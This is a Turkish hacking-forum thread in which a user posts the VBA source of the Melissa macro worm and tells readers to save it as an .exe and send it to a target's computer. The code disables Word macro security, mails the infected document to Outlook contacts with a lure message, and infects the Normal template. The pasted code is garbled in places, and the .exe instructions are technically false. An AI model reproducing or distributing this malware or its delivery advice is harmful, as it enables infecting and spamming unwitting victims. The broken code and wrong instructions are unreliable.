yanlis yere acmisim konuyu ozzur dilerim nasi duzeltebilirim

http://www.wardom.org/incelemeniz-icin-melissa-virus-kodu-t5541.html?t=5541&highlight=melissa Artık çok geç kendin taşıyamazsın konuyu, zaten daha önce verilmişti. saygılar

Evet arkadaslar burda sizlere açık virus kodlarını vereceğim. Evet birinci virus kodu geliyor. İlk virus kodumuz:Melissa Virusu Private Sub Document_Open On Error Resume Next If System. PrivateProfileString ("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W o rd\Securi ty", "Level") <> "" Then CommandBars . Controls . Enabl ed = False System. PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W o rd\Securi ty", "Level") = 1& Else CommandBars . Controls . Enabled = False Options. ConfirmConversions = (1 - 1): Options. VirusProtection = (1 - 1): Options. SaveNormalPrompt = (1 - 1) End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject Set DasMapiName = UngaDasOutlook. GetNameSpace If System. PrivateProfileString <> "... by Kwyjibo" Then If UngaDasOutlook = "Outlook" Then DasMapiName. Logon "profile", "password" For y = 1 To DasMapiName. AddressLists. Count Set AddyBook = DasMapiName. AddressLists x = 1 Set BreakUmOffASlice = UngaDasOutlook. CreateItem(0) For oo = 1 To AddyBook. AddressEntries. Count Peep = AddyBook. AddressEntries BreakUmOffASlice. Recipients. Add Peep x = x + 1 If x > 50 Then oo = AddyBook. AddressEntries. Count Next oo BreakUmOffASlice. Subject = "Important Message From " & Application. UserName BreakUmOffASlice. Body = "Here is that document you asked for... don't show anyone else Wink" BreakUmOffASlice. Attachments. Add ActiveDocument. FullName BreakUmOffASlice. Send Peep = "" Next y DasMapiName. Logoff End If System. PrivateProfileString = "... by Kwyjibo" End If Set ADI1 = ActiveDocument. VBProject. VBComponents. Item(1) Set NTI1 = NormalTemplate. VBProject. VBComponents. Item(1) NTCL = NTI1. CodeModule. CountOfLines ADCL = ADI1. CodeModule. CountOfLines BGN = 2 If ADI1. Name <> "Melissa" Then If ADCL > 0 Then ADI1. CodeModule. DeleteLines 1, ADCL Set ToInfect = ADI1 ADI1. Name = "Melissa" DoAD = True End If If NTI1. Name <> "Melissa" Then If NTCL > 0 Then NTI1. CodeModule. DeleteLines 1, NTCL Set ToInfect = NTI1 NTI1. Name = "Melissa" DoNT = True End If If DoNT <> True And DoAD <> True Then GoTo CYA If DoNT = True Then Do While ADI1. CodeModule. Lines(1, 1) = "" ADI1. CodeModule. DeleteLines 1 Loop ToInfect. CodeModule. AddFromString ("Private Sub Document_Close ") Do While ADI1. CodeModule. Lines(BGN, 1) <> "" ToInfect. CodeModule. InsertLines BGN, ADI1. CodeModule. Lines(BGN, 1) BGN = BGN + 1 Loop End If If DoAD = True Then Do While NTI1. CodeModule. Lines(1, 1) = "" NTI1. CodeModule. DeleteLines 1 Loop ToInfect. CodeModule. AddFromString ("Private Sub Document_Open ") Do While NTI1. CodeModule. Lines(BGN, 1) <> "" ToInfect. CodeModule. InsertLines BGN, NTI1. CodeModule. Lines(BGN, 1) BGN = BGN + 1 Loop End If CYA: If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument. Name, "Document") = False) Then ActiveDocument. SaveAs FileName:=ActiveDocument. FullName ElseIf (InStr(1, ActiveDocument. Name, "Document") <> False) Then ActiveDocument. Saved = True End If 'WORD/Melissa written by Kwyjibo 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 <--> Word 2000... it's a new age! If Day = Minute Then Selection. TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." End Sub < => yukarıdaki kodları kopyalayıp notpad e yapıştırın sonra. exe olarak farklı kaydedin. Örnek:"x. exe"sonra virusu sokmak istediğiniz bilgisyara exe dosyasını gonderin açınca bilgisayar gummm.